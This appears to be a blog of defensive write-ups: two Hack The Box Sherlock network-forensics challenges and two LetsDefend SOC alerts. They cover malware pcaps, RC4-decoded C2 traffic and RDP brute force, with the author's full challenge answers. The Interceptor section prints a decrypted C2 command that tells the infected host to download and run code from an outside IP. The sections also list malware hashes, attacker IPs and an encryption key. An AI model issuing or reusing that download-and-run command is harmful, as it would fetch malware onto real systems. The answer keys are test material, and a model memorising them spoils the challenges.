Davis King

Author: davisking1234@gmail.com

  • Interceptor

    Interceptor – A Sherlock Scenario Walkthrough

    Recently, during a Sherlock challenge called Interceptor, I was tasked with investigating an anomaly in network traffic. The scenario was simple:

    A potential breach had occurred. An unauthorized entity might have accessed confidential company data. My mission: investigate the breach, understand it, and determine the scope of the compromise.

    I’ll walk you through my approach, the steps I took, what I learned along the way, and some missteps that taught me valuable lessons.

    Step 1 – Opening the PCAP and Hunting for Suspicious Traffic

    I began by opening the .pcap file in Wireshark. My go-to starting point for network investigations is to filter for HTTP traffic.

    In Wireshark, that’s as simple as typing: http

    Immediately, I spotted suspicious packets — the first few had extremely long, obfuscated paths. The source IP stood out right away:

    Answer 1: 10.4.17.101

    Step 2 – Identifying the HTTP Method

    Looking closer, I saw an unfamiliar HTTP method: PROPFIND — a WebDAV method used to retrieve metadata about files.

    In this case, it was accessing /share/avp.msi.

    Answer 2: PROPFIND

    Step 3 – Spotting the Malware Filename

    A few packets later, a GET request clearly revealed the suspicious file name.

    Answer 3: avp.msi

    Step 4 – Extracting the SSDEEP Hash

    To find the SSDEEP hash, I needed to download the file from Wireshark’s “Export Objects” feature.

    Here’s where I hit my first curveball — there were three avp.msi entries:

    • Two were XML files
    • One was the actual MSI installer (Content-Type: application/x-msi, size ~1,427 KB)

    That last one was our target. Uploading it to VirusTotal revealed:

    Answer 4: 24576:BqKxnNTYUx0ECIgYmfLVYeBZr7A9zdfoAX+8UhxcS:Bq6TYCZKumZr7ARdAAO8oxz

    Step 5 – Identifying the Malware Family

    On VirusTotal, under the Community tab, the NeikiAnalytics comment identified the malware family.

    Answer 5: ssload

    Step 6 – Finding the Malware Creation Time

    VirusTotal’s Details tab revealed:

    Answer 6: 2009-12-11 11:47:44

    Step 7 – Determining the Domain Contacted

    This one was trickier. I initially brute-forced DNS queries in Wireshark, testing domains one by one. Eventually, the correct answer emerged.

    Answer 7: api.ipify.org

    Step 8 – Pinpointing the Attacker’s C2 IP

    At first, I misunderstood the question — I thought it was asking for the IP contacted most often. I filtered:

    ip.src == 10.4.17.101

    then went to:

    Statistics → Conversations → IPv4

    Ironically, I stopped checking IPs right before hitting the correct one.

    Later, by focusing on HTTP POST requests after the malware download. I spotted this repetitive POST request.

    HTTP POST requests post to /api/b98c911c-e29c-396e-2990-a7441af79546/tasks.

    Answer 8: 85.239.53.219

    Step 9 – Extracting Files from the MSI

    The original package was avp.msi.

    On Linux, I used msitools with: msiextract avp.msi

    Inside, I found:

    Answer 9: forcedelctl.dll

    Step 10 – Determining Which Program Executed the Malware

    MSI packages are handled by msiexec.exe, and all signs (strings, installer logs) pointed to it.

    Answer 10: msiexec.exe

    Step 11 – Hostname of the Compromised Machine

    Filtering for SMB traffic:

    smb || smb2

    Only three entries appeared, one revealing the hostname:

    Answer 11: DESKTOP-FWQ3U4C

    Step 12–14 – Gathering Host Information

    From the HTTP stream related to SMB traffic, I extracted:

    • Key Used: WkZPxBoH6CA3Ok4iI
    • OS Version: Windows 6.3.9600
    • Owner Name: Nevada

    Step 15 – Decrypting the C2 Command

    From the HTTP stream, I spotted a job: field containing a Base64-encoded string ending in ==.

    Given the provided key, I suspected RC4 encryption.

    Using CyberChef:

    1. Base64 Decode
    2. RC4 Decrypt (Key: WkZPxBoH6CA3Ok4iI)

    The result:

    {“command”: “exe”, “args”: [“http://85.239.53.219/download?id=Nevada&module=2&filename=None“]}

    Final Answers Recap

    Question #Answer
    110.4.17.101
    2PROPFIND
    3avp.msi
    424576:BqKxnNTYUx0ECIgYmfLVYeBZr7A9zdfoAX+8UhxcS:Bq6TYCZKumZr7ARdAAO8oxz
    5ssload
    62009-12-11 11:47:44
    7api.ipify.org
    885.239.53.219
    9forcedelctl.dll
    10msiexec.exe
    11DESKTOP-FWQ3U4C
    12WkZPxBoH6CA3Ok4iI
    13Windows 6.3.9600
    14Nevada
    15{“command”: “exe”, “args”: [“http://85.239.53.219/download?id=Nevada&module=2&filename=None“]}

    Takeaways

    This challenge was a great reminder to:

    • Keep detailed notes — I lost time on a few questions by forgetting my earlier reasoning.
    • Double-check your assumptions — I nearly missed the correct C2 IP by stopping too soon.
    • Use the right tools — Wireshark, VirusTotal, msitools, and CyberChef were indispensable.

    It was a fun, technical exercise in network traffic analysis, malware investigation, and C2 communication decoding — exactly the kind of challenge that keeps sharpening my blue team skills.

  • SOC335 – CVE-2024-49138 Exploitation Detected

    Intro

    This alert highlights the exploitation of CVE-2024049138, a Windows privilege escalation vulnerability.

    Alert Details

    FieldValue
    EventID313
    Event TimeJan 22, 2025, 02:37 AM
    RuleSOC335 – CVE-2024-49138 Exploitation Detected
    LevelSecurity Analyst
    HostnameVictor
    IP Address172.16.17.207
    Process Namesvohost.exe
    Process Path“C:\temp\service_installer\svohost.exe”
    Process ID7640
    Parent ProcessC:\Windows\System32\WINDOWSPOWERSHELL\V1.0\powershell.exe
    Command Line??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    File Hashb432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9
    Process UserEC2AMAZ-ILGVOIN\LetsDefend
    Trigger ReasonUnusual or suspicious patterns of behavior linked to the hash have been identified, indicating potential exploitation of CVE-2024-49138.
    Device ActionAllowed

    What is svchost.exe?

    svchost.exe is a system process in Windows that hosts and manages various Windows services. Its functions is to group related services together within a single process, which helps conserve system resources. Cybercriminals frequently exploit this service by naming malicious files and processes something similar like svohost.exe.

    After taking ownership of the alert and assigning it to ourselves we can start the playbook!

    For play 1 we need to select the Threat Indicator.

    I selected “Unknown or unexpected outgoing internet traffic”.

    For play 2 we need to check if the malware is quarantined/cleaned.

    We can check Log Management and Endpoint Security.

    First lets look at our Log Management. Lets use the IP address of 172.16.17.207 from the alert in our search.

    We know the alert was generated at Jan 22, 2025, 02:37 AM so lets look for any indicators for around that time.

    All logs with the filter show a date and time of Jan, 22, 2025, 02:35 PM. I notice that an IP address of 185.107.56.141, which is a public IP outside of our network, is connecting or attempting to connect to our endpoint through 3389. Which is a port used for RDP, remote desktop protocol.

    Lets look into the log details.

    We see an unsuccessful logon with from guest and then a successful logon from Victor.

    We also see that the logon type was 10, which indicates a user logged onto a computer remotely using Terminal Services, Remote Desktop, or Remote Assistance.

    Lets now go look at the endpoint logs from Victors machine.

    We have different logs we can analyze, Processes, Network Action, Terminal History, Browser History. I know that the process in the alert was svohost.exe so I will start by looking at the Processes tab. Based off the alert I have good idea of what I should be looking for, which is a PowerShell running from svohost.exe.

    I found two events that raise suspicion.

    Analyzing the event details shows good information:

    • Process User is NT AUTHORITY\SYSTEM which has the highest level of permissions.
    • Parent Process is svohost.exe which mimics svchost.exe
    • svohost.exe lives in the temp directory which is suspicious
    • svohost.exe launched PowerShell and ran the whoami command which allows attackers to quickly see if privilege’s have been escalated

    We can also check the terminal history.

    Based off the logs here it looks like the attacker checks who they are and what privileges they have before downloading the malware. Then after they download the malware they check again to confirm their privilege escalation.

    This gives me enough confidence to say the malware is not quarantined/cleaned.

    For play 3 we need to analyze the malware using 3rd party tools and assess if it malicious or not.

    We have the file hash from the alert. We can navigate to VirusTotal to gather information about the malware.

    Based off the VirusTotal report we know this is malicious.

    For play 4 we need to check is someone made a request to the C2 server.

    We analyzed this earlier when we saw an unknown IP (C2) attempting and successfully logging into our victim machine via RDP on port 3389.

    So the answer is Accessed.

    For play 5 we need to contain the device!

    We can navigate to Victor’s device in the Endpoint Security tab and turn on containment.

    Next we can add artifacts before closing out the alert.

    I added the C2 Server, Malware hash, and suspicious URL command.

    Analyst Notes:

    And close the alert!

    Thanks for reading!

  • Compromised

    Description: Our SOC team detected suspicious activity in Network Traffic, the machine has been compromised and company information that should not have been there has now been stolen – it’s up to you to figure out what has happened and what data has been taken.

    Questions:

    1. What is the IP address used for initial access?
    2. Find the SHA256 hash of the malware.
    3. What is the Family label of the malware?
    4. When was the malware first seen in the wild?
    5. The malware used HTTPS traffic with a self-signed certificate. What are the ports, from smallest to largest?
    6. What is the id-at-localityName of the self-signed certificate associated with the first malicious IP?
    7.What is the notBefore time(UTC) for this self-signed certificate?
    8. What was the domain used for tunneling?

    Question 1

    The first question we are asked is finding the IP address used for initial access. I am going to try and sort through and filter different services that might have been used for initial access such as SMB/445, HTTP/80, RDP/3389, SSH/22, SQL/1433.

    I started out by filtering for HTTP traffic.
    Right off the bat the first and second packets stand out to me.

    I searched for SMB and reviewed the traffic, but nothing seemed out of the ordinary.

    I tried filtering for other services but didn’t find anything of interest. I went back to the HTTP protocol and examined the first GET request and the 200 OK that followed. After I followed the TCP stream of the Image/GIF.


    Once you follow the stream you can save the data. I made a mistake by moving to quickly and saving the data before looking at the ASCII code of the “Image”. I saved it as RAW data first.


    When I tried to open my image file I got the following error.


    I went back and took another look at the TCP stream, and this time I analyzed the ASCII. I noticed the ‘MZ’ at the beginning of the file, which indicates to me that this is a Windows executable masquerading as an image file.


    This gave me enough confidence to determine the initial access came from 162.252.172.54.

    Question 2

    The second task is finding the SHA256 hash of the malware and because we found clear evidence of a Windows executable file masquerading as an image file we need to download the malware and then we can run sha256sum command to get the hash of the malware.

    After downloading the malware it should say its an executable file. So just to check I ran the file command on the malware file. I was getting something I didn’t expect.


    I did a little bit of digging and I found out I downloaded everything including the GET request.


    So I changed how I download the file. I went to File → Export Objects → HTTP. I clicked on the image/gif and saved it.


    Now when I ran the file command I get the expected output.


    To get the SHA256 hash we can run the Sha256sum command.


    We get the hash of the malware 9b8ffdc8ba2b2caa485cca56a82b2dcbd251f65fb30bc88f0ac3da6704e4d3c6 and solve question 2.

    Question 3 & 4

    We are asked for the family label of the malware and when the malware first seen in the wild. We can take the sha256 hash of our malware and paste it into a service like VirusTotal. After doing so we get information on the malware.


    There are three listed for family label but Hack the Box wants pikabot as the final answer.
    The malware was first seen in the wild on 2023-05-19 14:01:21.

    Question 5

    To answer question 5, we filtered the pcap file using the TLS filter to focus on HTTPS traffic. Since the malware used a self-signed certificate, we specifically looked for packets containing certificate information. Once we identified the relevant packet, we examined the Certificate field. After locating the certificate, we exported the packet bytes using the Export Packet Bytes option, saved it as cert.cer, and opened the file for further examination. The certificate was confirmed to be self-signed, which aligns with the malware’s usage of a non-trusted certificate.


    The certificate above is self-signed. The ports used in the packet are 2078 and 51266. We noted the source IP address and filtered for it using the TLS filter with the following expression: tls && ip.addr == 45.85.235.39. After filtering, we examined all the certificates, and confirmed that they were all self-signed. This yielded four different destination ports: 51226, 51300, 51396, and 51768, with the same source port, 2078, being used in each case.

    Initially I thought I was right, but soon realized I was wrong. The filter I used gave me the same self-signed certificate with different destination port, but what we really needed to do was find two more self-signed certificates and get two more source ports.

    I analyzed the pcap file again with the TLS filter and I found the two other self-signed certificates.


    After I found the other two I noted the source ports because that is actually what we need.

    They are 2078, 2222, and 32999.

    Question 6

    The next question ask for the id-at-localityName of the self-signed certificate associated with the first malicious IP.
    The first malicious IP is 45.85.235.39 and if we go back to the packet we can go through:

    TLS → Handshake Protocol: Certificate → Certificates (1508 bytes) → Certificate →

    signedCertificate → issuer: rdnSequence (0) →

    rdnSequence: 6 items

    • id-at-commonName=votation.bzh
    • id-at-localityName=Pyopneumopericardium
    • id-at-organizationalUnitName=Undelightful
    • id-at-organizationName=Uneared Inc.
    • id-at-stateOrProvinceName=KI
    • id-at-countryName=SX

    Question 7
    2023-05-14 08:36:52

    Question 8

    The last question ask us to find the domain used for tunneling. We can find this simply by using the DNS filter in Wireshark. Looking below we can see that only a few domains are listed, making our search fairly straight forward and easy. We find that steasteel.net was used for tunneling.

    Check out the badge I earned on HTB here.

  • SOC176 – RDP Brute Force Detected

    In this blog post, I’ll walk you through a hands-on exercise from the LetsDefend platform, where you step into the shoes of a SOC analyst. You’ll assign and open an alert, analyze it, respond using predefined playbooks, and determine whether the alert is a true positive or a false alarm. Finally, you’ll close the alert once the investigation is complete. This platform is an excellent resource for learning how to effectively respond to a variety of security incidents. For this specific alert, I’ll be investigating and analyzing a Remote Desktop Protocol (RDP) brute-force attack.

    On the practice page we have different tools that we can utilize to help us investigate the alert.

    • Monitoring: Displays live alerts.
    • Log Management: Centralized log platform like Splunk.
    • Case Management:Tracks investigations from alert to resolution, including notes and evidence.
    • Endpoint Security: EDR alerts and behavior on individual endpoints.
    • Email Security: Review and investigate potentially malicious emails.
    • Threat Intel: Look up IPs, domains, and file hashes to enrich investigations.
    • Sandbox: Analyze potentially malicious files in a secure, isolated environment.

    Here is the alert we received:

    SOC176 – RDP Brute Force Detected

    FieldDetails
    EventID234
    Event TimeMar 07, 2024, 11:44 AM
    RuleSOC176 – RDP Brute Force Detected
    LevelSecurity Analyst
    Source IP Address218.92.0.56
    Destination IP Address172.16.17.148
    Destination HostnameMatthew
    ProtocolRDP
    Firewall ActionAllowed
    Alert Trigger ReasonLogin failure from a single source with different non-existing accounts

    We take ownership of the alert and the assign it to our self. This allows us to view the playbook.

    The first step is to gather some context and determine if this source IP is from an external source.

    Looking at the alert we are given it is easy to tell this is going to be external. The Source IP is 218.92.0.56 which is in the public IP range. Our endpoint IP is 172.16.17.148 which is a private IP range. We click external and move to second play in the playbook.

    Based off VirusTotal this IP is malicious. We click yes and move on.

    We search for the IP in Log Management and find multiple failed logon attempts to the target RDP port (3389). The attacker also tried using different account usernames:

    -sysadmin

    -Matthew

    -guest

    -admin

    The attacker is seen using what appears to be a password spraying technique, a type of brute force attack. We click yes and move on.

    Play 4 ask us if the IP address tried to connect to multiple devices on our network.
    To check this we can look in our Log Management tab which acts as a SIEM. We can create a filter where the source IP = 218.92.0.56 and Destination = 3389.

    We can analyze the logs and determine if the attacker targeted any other endpoints.

    From our analysis I determined that the attacker only targeted 172.16.17.148.

    For play #5 we need to figure out if the attack was successful. We know our endpoint is a windows 10 machine. So we will check for Event ID 4624 using Log Management.

    In our Log Management tab I used filters and found one entry where the attacker IP was used for a successful RDP into Matthews machine.

    Play #6 ask if the device should be isolate. Yes, the device should be isolated.

    Play #7 wants us to contain the device. We can do so in the Endpoint Security tab which acts as our EDR solution to isolate the device.

    Play #8 Lessons Learned.

    How did the cyber attack happen?

    • An attacker successfully brute forced Matthew’s account, likely due to a weak password.

    What would the staff and management do differently the next time a similar incident occurs?

    • Tune rules to block this type of attack from happening, such as looking at geolocation anomalies.

    What corrective actions can prevent similar incidents in the future?

    • Block RDP connections from outside the internal network in the firewall and whitelist trusted IP addresses from outside the network. Also, implement an password attempt policy.

    What precursors or indicators should be watched for in the future to detect similar incidents?

    • Watch for IP address attempting to log in using multiple different usernames, high volumes of failed logins from the same IP, or login attempts to disabled accounts.